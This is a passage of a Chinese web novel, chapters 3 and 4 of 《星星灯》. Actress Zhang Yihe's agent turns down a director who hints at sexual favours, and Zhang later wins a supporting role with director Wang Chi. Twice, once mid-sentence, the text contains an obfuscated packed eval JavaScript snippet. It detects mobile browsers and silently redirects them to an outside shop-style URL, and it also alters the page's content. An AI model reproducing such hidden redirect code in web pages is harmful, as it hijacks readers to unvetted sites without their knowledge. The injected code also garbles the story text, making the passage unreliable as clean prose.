《星星灯》 3. 第三章 那个晚上,方柏文没待太久,坐了一会儿就先行离开了。 章宜禾和邵艾嘉回酒店的路上,邵艾嘉还在赞叹方柏文有多帅多好,一点明星的架子都没有。难怪他除了电影宣传期露面外,基本不怎么出来,粉丝粘性还那么高。 直到进入酒店的房间,邵艾佳还在赞叹,章宜禾捂着额头,哭笑不得地打断她:“小姐,你念叨一晚上了,该睡觉了。” 邵艾嘉这才停了下来:“说实在,我没想到方柏文能认出你,还能说出你的名字。” 章宜禾顿了一下,在饭桌上,方柏文提起他看过她的电影《风月无边》,她确实挺意外的。他不知道他是出于客套,还是真看过,她点了点头,说:“我也挺意外的。” 邵艾嘉趴在床上刷手机,看向蹲在地上章宜禾:“你明天几点的航班。” 章宜禾打开行李箱,拿了套睡衣出来:“明早七点。” 邵艾嘉叹口气:“这么早,不是说晚上的饭局嘛,那等你回来,我们再聚。” 章宜禾进入演艺圈这么多年,七点的航班对她来说,还不太算早。《风月无边》宣传期那会,章宜禾甚至还坐过凌晨三点的航班。那些披星戴月昼夜颠倒的日子,章宜禾曾经身在其中,觉得还有点累,如今却有些怀念了。 到达栌市后,章宜禾打了辆出租车到酒店。 敲响吕亚妮的房门,吕亚妮裹着浴袍来开门,确认她没水肿后,甚是满意道:“状态不错,先进来坐会。” 章宜禾对吕亚妮的态度很复杂,想必吕亚妮对她也是如此。曾经吕亚妮以为签到了章宜禾,就是捡到了明珠,却没想到不过是昙花一现,很快就凋零了。有时候吕亚妮闲下来,会想是不是章宜禾这颗明珠暗投,还是她看走眼,鱼目乱珠了。 以至于章宜禾签入华娱公司这么多年,吕亚妮和章宜禾的关系一直不疏不近。 吕亚妮从洗手间出来,还是被章宜禾站在窗前的侧影给惊艳了下。她穿了件灰色大衣,窗外细雨霏霏,房间暗淡的光线,越发凸显她身上那种清冷中透着一点忧郁的气质。 吕亚妮从事演艺圈这么多年,不愿承认也不觉得自己会看走眼。她的确长了一张会说故事的脸,塑造性极强,打个不恰当的比方,她的长相就像水这种液体,装入任何形状的瓶子里都不显突兀。 或许眼下只是她时运不济,“明珠蒙尘”罢了。 去见莫导,章宜禾心里其实是忐忑的。吕亚妮或许看出她的情绪,进门前,不着痕迹地安慰了句:“就当吃顿饭,行就行,不行就不行,别有太大的心里负担。” 章宜禾颇为意外地看了吕亚妮一眼。 一进门,章宜禾就看到了莫导,莫导长得很儒雅,戴着副眼镜,看起来像是高校的教授,不像是拍电影的。 吕亚妮跟莫导寒暄了两句,一行人坐了下来。说是吃顿饭,但连饭都没吃上。莫导似乎很忙,只是抽空聊了两句,不到二十分钟,加了章宜禾的联系方式,莫导和他的助理就先走了。 章宜禾和吕亚妮回到车上。 吕亚妮说:“找个地方吃个饭先,莫导不吃,我们也不能饿着肚子。” 刚才的聊天过程中,莫导始终不显山不露水。章宜禾有些摸不准他的态度。章宜禾几次想问吕亚妮的看法,话到嘴边,又突然失去了问的欲望。 两人找了家火锅店,吕亚妮点完菜,见章宜禾还是一副平静淡然的模样,不由道:“你可真沉得住气。” 章宜禾怔了怔,抬头看向她,吕亚妮施施然道:“你就不好奇这莫导究竟是看中你了还是没看中?” 章宜禾问:“亚妮姐,什么看法?” 吕亚妮端起杯子喝了口水,说:“一半的概率吧。” 吕亚妮说有一半的概率,章宜禾不知道她是从哪里得出这个概率的。至少在见完莫导一周后,吕亚妮那边都没收到莫导反馈,就连吕亚妮主动发去的询问消息,也如石沉大海般,一声响儿都听不见。 就在章宜禾快要把这事抛诸脑后时,吕亚妮那边半夜收到了莫导发来的一条模棱两可的短信。 「亚妮,我以为你们应该是聪明人,不该不明白我的意思啊。」 章宜禾盯着吕亚妮的这条截图信息,一时陷入沉思。不管哪个圈子都会有灰色地带,在演艺圈这种事屡见不鲜。 章宜禾早已习惯,但她不得不承认,她第一眼看到这条信息时,脑袋里第冒出的第一个想法不是恼羞成怒,而是在想这种可能性有多少。然而理智回归,她又产生了一瞬的羞愧与自我厌恶。 原来她也不是多么坚定的人,只是还未到穷途末路时。 手机的来电铃声,打断了章宜禾的思绪。她垂头看向手机屏幕,是亚妮姐打来的。 章宜禾抱着膝盖,按了接听键,吕亚妮问:“还没睡?” 章宜禾:“没有,在看书。” 吕亚妮说:“这老东西,没想到打的这主意,他这戏,我们就算了。” 章宜禾淡淡笑了下,低声说:“我还以为亚妮姐要我“以身入镜”呢。” 吕亚妮沉默了一会儿,有些推心置腹道:“虽然我签了你后,你这几年确实没给我带来什么经济效益,但我也不至于这么下作,的确这种事在演艺圈算不上什么,但我这人还是有职业道德的,我是经纪人,又不是扯皮条的。” 章宜禾由衷地道:“亚妮姐,谢谢你。” 吕亚妮说:“早点休息,这阵子,你就当休假,可以和朋友出去转转,感受下生活,也许哪天运气来了,你到时候想休息都空不出时间。” 章宜禾知道亚妮姐是在宽慰她,但她还是接受了她的好心,虽然她也不知道,时来运转会在哪一天。 门外响起两声敲门声,章母的声音在门后响起:“囡囡,睡了吗?” 章宜禾起身去开门:“还没呢。” 章母将牛奶放在床头柜上,叮嘱道:“睡前把牛奶喝了,刚才谁给你打电话呢,都这么晚了。” 章宜禾轻描淡写:“我经纪人,和我聊些工作上的事。” 章母对章宜禾事业上的事其实并不太懂,但想起章宜禾上回说要换工作的事儿,想了想,还是在床尾坐了下来,语重心长道:“囡囡,你要是当演员不开心,那我们就不做了,虽然我们家不是什么大户人家,但养你还是能养得起的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316817|198958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章父章母都是高中老师,两人对章宜禾的未来规划也不过是大学毕业后当个老师。从没想过章宜禾有一天会踏入演艺圈这个行业。在他们老一辈人看来,虽然这份职业看着光鲜亮丽,但毕竟这个圈子什么人都有,鱼龙混杂,她一个女孩子,他们终究还是不太放心。 章宜禾倚靠在章母怀里,搂着她的腰:“我还没想退休,让你们养我呢,你不是说喜欢新区那房子的格局嘛,我还想着到时候给你们买一套呢。” 章母拍了拍章宜禾的胳膊,轻笑道:“我和你爸不需要你给我们换房子,我们就你一个女儿,这套房子我们一家人住正好呢,哪里需要换房。” 母女两聊了会儿,章母看着时间不早了,也就回房休息去了。 三月底的时候,章宜禾还是听从了吕亚妮的建议,和邵艾嘉自驾出去玩了一趟。 章宜禾高中毕业就考了驾照,但开车的次数屈指可数。但有邵艾嘉这个老司机在,两人的旅程倒也顺利。一路开开停停,吃吃喝喝,每晚睡前,有聊不完的话。 章宜禾也会拍些风景照发在微博上,偶尔会看到几个事业粉在底下问她怎么还不进组时,她的情绪瞬间就会从眼下的快乐中抽离出来,陷入一瞬间的消沉。 这段旅行,她终究还是没法做到全身心地投入到风景中。 旅行的第四天,章宜禾在夜里忽然发起了高烧,高烧又呕吐,把邵艾嘉给吓坏了,连夜打出租车,去了急症室。挂了药水,她的脸上才恢复了些血色。 邵艾嘉心有余悸:“刚才你那样,可真是吓死我了。” 章宜禾这会已经缓过来了:“估计是这几天吃东西没节制,胃一下子受不了。” 邵艾嘉说:“你现在感觉怎么样?” “好多了,你回酒店休息吧,我过会挂完药水,自己回去。” 章宜禾话音刚落下,邵艾嘉的手机响了起来,来电显示是个陌生号码。邵艾嘉没多想,径直挂了电话。没几秒,那号码又打来,邵艾嘉嘴上嘀咕道:“这谁呢,这么烦人。” 接了电话,说了没两句,她将手机递给章宜禾:“你经纪人的电话。” 章宜禾接过电话,正纳闷亚妮姐怎么把电话打到艾嘉这里来,就听到吕亚妮在说:“什么情况,怎么一连给你打了好几通电话都没接通?” 章宜禾下意识去摸身上的手机,摸了个空,这才后知后觉刚才出门急,估计把手机落在酒店了,吕亚妮说:“行了,你明天来趟栌市,有个项目找你,是王篪导演的项目。” 章宜禾顿了顿:“王篪导演?” 王篪导演,是中国的第四代导演,年近四十才拍出第一部电影《退守》。《退守》上映后,不仅揽入国内大奖,就连国际的奖项也获得提名。后来拍摄的一些影片,也陆陆续续获得国内外奖项。 有的电影有奖项,却并不一定有票房。王篪导演执导的影片,却是竟不愁票房也不需要愁奖项。 “是,你没听错,虽然是女二的角色,但毕竟是王篪的项目。”吕亚妮的语气隐隐听上去也透着几分激动,“你赶紧订最近的一趟航班到槐市,明天我们跟导演碰个面。” 4. 第四章 事情来得突然,第二天,章宜禾和吕亚妮在槐市的机场碰了个面,便直接打车前往王篪的工作室。 出租车上,吕亚妮神秘兮兮道:“根据圈内的小道消息,据说王导这次拍得《理智与感情》,男女主人选已经确定下来,虽然你试的角色是女二,但戏份其实没比女主少多少,而且这个角色内核很丰富,要是你能拿下这个角色,到时候上映后,肯宁能圈一波粉丝。” 章宜禾心不在焉地嗯了一声。 吕亚妮笑了:“你就不好奇这戏的男女主是谁?” 章宜禾道:“亚妮姐,说实话,现在我满脑子就一个想法,到底等会要怎么做,才能拿到这个角色。” 吕亚妮说:“王导这个人,没那么多花架子,你等会去,就正常和他沟通就行。” 王篪的形象和维基百科资料上的相片一样,常年不变的寸头,穿着身黑色的棉麻衬衫和休闲裤,刷洗发白的棕色帆布鞋,看起来是个生活非常朴素的中年男人,一点大导的派势都没有。他的眉眼有点凌厉,但接触了,发现他讲话很温和,透着一种文人的腼腆。 章宜禾在禾王篪沟通的过程中,或许是他偶尔露出的那一种腼腆,让她的那种紧张感慢慢的消逝了。 最后结束时,两人从王篪的办公室出来,章宜禾说:“王导和我想象的感觉不太一样。” 吕亚妮问:“怎么个不一样?” 章宜禾想了想,说:“看上去觉得应该是个非常难相处的人,但是,接触了发现他是挺温和的一个人,而且还有点害羞,感觉好像我们的身份调换了,像是我在面试他,而不是他在面试我。” 吕亚妮说:“王导是这个圈子里真正在追求艺术的人。” 和王导的见面很顺利,当天晚上十点左右,王篪的助理就给吕亚妮发来了合同,章宜禾心里悬的石头这才落了地,她没想到这次的试戏过程会这么的顺利。 吕亚妮也很高兴,当即叫了烤串和外卖,来到着章宜禾的房间。 章宜禾很有节制,就喝了半杯酒,尝了两串烤串就停下了筷子。 吕亚妮显然是高兴坏了,喝得有点多了,拉着章宜禾说了很多话,谈及未来对她的规划什么的。这是章宜禾第一次见吕亚妮情绪这样外露,不像以往那般稳重自矜。 最后还是章宜禾扶着吕亚妮,将她送回了房间。 回到了自己房间,章宜禾一点睡意也没有,在沙发上坐了下来,将先前吕亚妮发给她的剧本仔细读了一遍。读了一遍又一遍,直到天微微亮时,章宜禾才睡着。 距离入组还有一个月的时间,章宜禾在休息的这阵子,胖了快十斤。这一个月的时间,她需要控制饮食,在进组前瘦到九十斤。 在她减重的这段期间,吕亚妮也给她找了个生活助理。 章宜禾觉得没这个必要,但吕亚妮希望她能在王导的电影中拿出最好的状态,不受其他外因干扰,所以还是给她安排了个助理,跟着她一起进组,照顾她的日常生活。 生活助理叫齐苗,二十出头的年龄,一口一个宜禾姐,嘴甜又很有眼色劲儿。 在进组之前,章宜禾回了一趟全州,陪章父章母待了待了几天,便前往槐市围读剧本。 第一天围读剧本是在王篪的家里,很少有导演会将围读剧本会安排在自己的家里。章宜禾有些意外,还想着上门前,是不是需要带瓶红酒。她犹豫不定,给吕亚妮打了通电话,询问她的意见。 吕亚妮觉得她可以带点礼物,毕竟这次拍摄的演员中,属她咖位最小,而且也能给王导留下点好印象。 章宜禾倒没这么功利性,只是觉得第一次上门,虽然是因为工作,但也不好空手上门。她思前想后,还是买了瓶1998年份的帕图斯干红,刚好是王导和他夫人结婚的年份,也有个意义。 剧本围读那天,章宜禾放了齐苗几天假,让她自己安排。 章宜禾敲门时,是王导的太太来开的门,接过她递来的礼物,笑着道:“小章,你有心了。” 章宜禾换上拖鞋进了门,她以为自己是第一个到的,却听王导的太太道:“柏文也来了,正和王篪在院子里看剧本呢,我带你过去。” 虽然那天去王导工作室的路上,亚妮姐问她好不好奇这戏的男女主是谁,那会章宜禾确实不怎么想知道,毕竟那会她还不知道自己能不能拿下这角色,后来还是签完合同的第二天,她在微博热搜上看到了男女主角人选,是方柏文和秦黎。 这部戏里,方柏文和秦黎扮演一对夫妻,而章宜禾的角色不怎么正面,是方柏文精神出轨的对象。但章宜禾很喜欢这个李霓这个角色,特别是剧本中描绘的她和孔鹤如深度迷幻的感情戏,克制中忍不住的靠近,靠近中又退缩,像是跳探戈,你进一步,我退一步,你退一步,我进一步。 虽然在如今的这个时代,情感好像成了“嗟来之食”,但章宜禾挑选剧本,往往最看中里头对情感的描写,在她看来一部戏要打动人,里面的情往往要够真,才能打动人心,不管是亲情爱情还是友情。 院子里,除了方柏文和王导,还有编剧和制片人。 几人正在闲聊,见章宜禾来了,编剧崔姐拉开旁边椅子:“来,宜禾,坐我身边来。” 章宜禾在编剧崔姐身边坐下,崔姐又朝方柏文道:“柏文,你和宜禾这也是第一次见面吧?” 方柏文朝她颔首示意:“这算是我和宜禾第二次见面。” 她的名字从他嘴里念出来,有一股缱绻温柔的味道,章宜禾心里莫名跳了下。 崔姐纳闷道:“也没见过你们以前有过什么合作啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316819|198958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 章宜禾将年前在平江剧院见面的事简单地提了提,崔姐赞叹道:“这缘分巧得很,冥冥之中,老天自有安排啊。” 过了会儿,秦黎也来了,几人不再闲聊,开始围读剧本。围读完剧本,临近饭点,王导的太太留他们吃晚饭:“刚好宜禾带了瓶帕图斯红干,等会开了,大家一起尝尝。” 秦黎的小儿子学校明早有活动需要她出席,她等会就要出发去机场,也就不留下来用晚饭。 方柏文和王篪导演这算是第三次合作,同王导的家人经很熟稔,崔姐和制片人也是王篪的老搭档,唯独章宜禾算得上是个生人。 距离开饭还有一段时间,章宜禾干坐着也没意思,便主动去厨房帮忙。 王太太笑着说:“我还以为你们这些小年轻都不怎么愿意下厨。” 章宜禾一面低头摘豆角,一面道:“我平常休息在家,偶尔也会下厨做顿饭给我爸妈吃。” 王太太道:“那倒是不错,就不知道你和柏文谁的厨艺更好一点。” 章宜禾没接这话,今天见到方柏文,她发现他给人的感觉跟那天不太一样,不怎么多说话,但看起来更放松一点。 或许是因为那天有影迷在,他有意让自己看起来更亲和一点。这大概是艺人的本能,在有影迷或粉丝在场,总习惯于调整自己的状态,尽量呈现友好风趣的一面,以免落人口实。 王太太:“这道凉拌河豚干的步骤,我倒一时有点忘了,我去问问柏文就来。” 王太太走了出去,再回来时,方柏文也跟了进来,王太太朝宜禾解释道:“这道菜,柏文那会来家里给做过一次,你们王导就给惦记上了,偶尔夜里喝点白酒就爱拿这当下酒菜。” “柏文,今天刚好你在,干脆你来做河豚干,王篪那家伙老是说我做的没你味道好,我就纳闷了,加的都是那些调料,哪里差了。” 方柏文道:“河豚干这道菜,做完了需要及时吃,不然口感就硬了。” 王太太吐槽:“那还不是他的原因,每次我弄完,他磨磨蹭蹭的才从书房出来。” 期间,王太太出去了趟,厨房一时只剩下两人,气氛很安谧,章宜禾主动搭话:“我没想到你还会下厨?” 方柏文看向她,笑道:“你以为我五谷不分四体不勤,我也不过是普通人家的孩子。” 章宜禾在媒体上了解过方柏文的家庭背景,他父母就是平常的务工人员,而且他的父母在他很小的时候就离了婚,又各自成立新的家庭,他基本是跟在他姥姥身边长大的。 章宜禾说:“你经常下厨吗?” 方柏文挽起袖子洗了手,道:“偶尔会做做,但不经常。” 章宜禾点了点头,一时又找不到别的话题,幸好王导的太太及时回来了。